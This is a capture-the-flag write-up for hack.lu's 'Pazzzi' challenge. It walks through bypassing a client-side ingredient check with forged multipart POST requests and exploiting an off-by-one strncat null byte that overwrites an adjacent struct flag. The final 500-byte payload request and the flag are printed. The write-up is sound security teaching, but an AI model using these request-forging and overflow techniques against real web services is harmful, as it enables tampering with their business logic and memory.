Last weekend I attended hack.lu ctf. I didn’t have a ton of time to play but I was able to solve a couple of fun challenges so I decided to make writeups for them. This one is for the Misc challenge Pazzzi.

Pazzzi (94 Solves, 151 points, Spicyness: 🍼)

Description

I would like to order Hawaiian pizza at my favourite pizza shop again. But the owner changed the website after my last order and now I am unable to order it. But I really want one more. Can you make it happen for me?

Pazzzi Shop

Solution

Looking at the challenge files we can see that we get quite a large zip file with lots of contents. I was very intimidated at first with the amount of content that is given but upon further inspection I could see that most of the files were just part of the general website structure which was using a github project called civetweb. Knowing this I figured most of the files were unimportant to the challenge so I went to the most relevant directory: pizza_webroot. There are two files in the directory, handle_pizzarestaurant.lua and pizzarestaurant.lp. One was a lua script which controlled the webpage and the other was the html for the page. Before I went sifting through the code I decided to just poke around the webpage a bit. This is the page we are first greeted with when visiting the website:

Here we can see there is a form for ordering pizza. Of course I just went ahead and tried ordering a Hawaiian pizza like the challenge asked to see what happened. When doing so I noticed that the webpage won’t allow me to select both Ham and Pineapple at the same time. Using inspect element I saw this script in the html.

ham.addEventListener('click', function() {
    document.getElementById("pineapple").checked = false;
});

pineapple.addEventListener('click', function() {
    document.getElementById("ham").checked = false;
});

The first thing I did to try and circumvent this was just delete the javascript in the inspector. This failed and I still couldn’t check both ingredients at the same time. Then I realized that all this does is prevent us from checking both boxes, but puts no limit as to what web request we can actually send. After all, the actual request to the server is what matters. It was time to pull out Burpsuite to get a better understanding of how to communicate with the webserver.

I attempted to order a random pizza to take a look at what got sent to the server. Unsurprisingly it’s a POST request to the handle_pizzarestaurant.lua file. Theres a bunch of headers but the important part is the request data:

------WebKitFormBoundarykArzSOj9RPzVZHko
Content-Disposition: form-data; name="check_garlic"

check_garlic
------WebKitFormBoundarykArzSOj9RPzVZHko
Content-Disposition: form-data; name="check_pineapple"

check_pineapple
------WebKitFormBoundarykArzSOj9RPzVZHko
Content-Disposition: form-data; name="comment"

Testing
------WebKitFormBoundarykArzSOj9RPzVZHko
Content-Disposition: form-data; name="userIsDangerous"

true
------WebKitFormBoundarykArzSOj9RPzVZHko--

Okay so we can see a few interesting things here. Each ingredient I checked gets sent with an appropriate name and data field. My test comment has its own field and of course there’s the incredibly obvious userIsDangerous data field that would explain the Sorry, but this action is not allowed for ordinary users response that we get back from our request. At this point I decided to send another request manually adding in a data field for both check_pineapple and check_ham. I used the Burpsuite Repeater and edited the request to look like so:

------WebKitFormBoundaryMMd8ctbtU0vqkxGQ
Content-Disposition: form-data; name="check_pineapple"

check_pineapple
------WebKitFormBoundaryMMd8ctbtU0vqkxGQ
Content-Disposition: form-data; name="check_ham"

check_ham
------WebKitFormBoundaryMMd8ctbtU0vqkxGQ
Content-Disposition: form-data; name="comment"

Testing
------WebKitFormBoundaryMMd8ctbtU0vqkxGQ--

I also ditched the whole userIsDangerous section because I’m obviously not dangerous. In response we get this message: Fail! This combination of ingredients is not allowed! At this point I figured to make any more progress I would need to dig around the source code. With absolutely zero lua experience I dove in.

To my surprise the code was nicely commented! I skimmed through the code reading the comments looking for something interesting and at the bottom I found the code for order processing:

-- In order to speed up the processing of the order significantly, we process the order
-- in our custom-crafted library written in C
mg.process_order(
    setContains(all_the_data, "check_mushroom"),
    setContains(all_the_data, "check_pepperoni"),
    setContains(all_the_data, "check_olives"),
    setContains(all_the_data, "check_garlic"),
    setContains(all_the_data, "check_ham"),
    setContains(all_the_data, "check_pineapple"),
    all_the_data["comment"]
)

So it uses a custom C library to handle the order… what could possibly go wrong? I needed to find the code for this library in the project files. I went into the src directory and used a combination of find and grep to locate which file had the library code. Eventually I found that it was in mod_lua.inl. Here we can see that orders are stored in a C struct:

#define COMMENT_LEN 500

struct order
{
    // If the checkbox for the ingredient was ticked
    bool ingredient_mushroom;
    bool ingredient_pepperoni;
    bool ingredient_olives;
    bool ingredient_garlic;
    bool ingredient_ham;
    bool ingredient_pineapple;
    
    // Further important information by the customer regarding the order
    char comment[COMMENT_LEN];
    
    // Some combination of ingredients are forbidden
    bool incompatible_selection;
};

So already I see a potential attack. The struct uses a character buffer 500 bytes long in memory, and right next to it sits a bool value that determines weather or not our order is forbidden. This means that if we send a 501 bytes comment to the server followed by a null byte (to represent false), then our data will overflow the incompatible_selection value with a 0 and the server will think that our order is valid. This is great in principle but the code actually implements a check for this.

if (size > COMMENT_LEN) {
    print_output(conn, "Fail!\n");
    print_output(conn, "Your comment can at most be 500 characters!\n");
    return 1;
}

Bummer. There was another line of code I noticed when reading through that populates the comment buffer in the order struct.

strncat(customer_pizza.comment, str, sizeof(customer_pizza.comment));

I had not seen strncat before so I decided to look at its man page. Here we get some very crucial information. The man page states, If src contains n or more bytes, strncat() writes n+1 bytes to dest (n from src plus the terminating null byte). Therefore, the size of dest must be at least strlen(dest)+n+1. PERFECT! The c library uses strncat to take 500 bytes from our comment and put them in the comment buffer of the order struct. This fills the entire 500 byte buffer and strncat automatically tacks on the null byte. This will overwrite the incompatible_selection value with the null byte and will cause the server to interpret the order as a perfectly valid order. Now all we need to do is send a request with the Hawaiian pizza order and a 500 byte long comment. Here’s the final post data:

------WebKitFormBoundaryMMd8ctbtU0vqkxGQ
Content-Disposition: form-data; name="check_pineapple"

check_pineapple
------WebKitFormBoundaryMMd8ctbtU0vqkxGQ
Content-Disposition: form-data; name="check_ham"

check_ham
------WebKitFormBoundaryMMd8ctbtU0vqkxGQ
Content-Disposition: form-data; name="comment"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------WebKitFormBoundaryMMd8ctbtU0vqkxGQ--

Sending that request causes the webserver to respond with the flag!!!

Flag

flag{Hawaii_served_with_Lua_and_C_Yummy_yummy_yummyXD}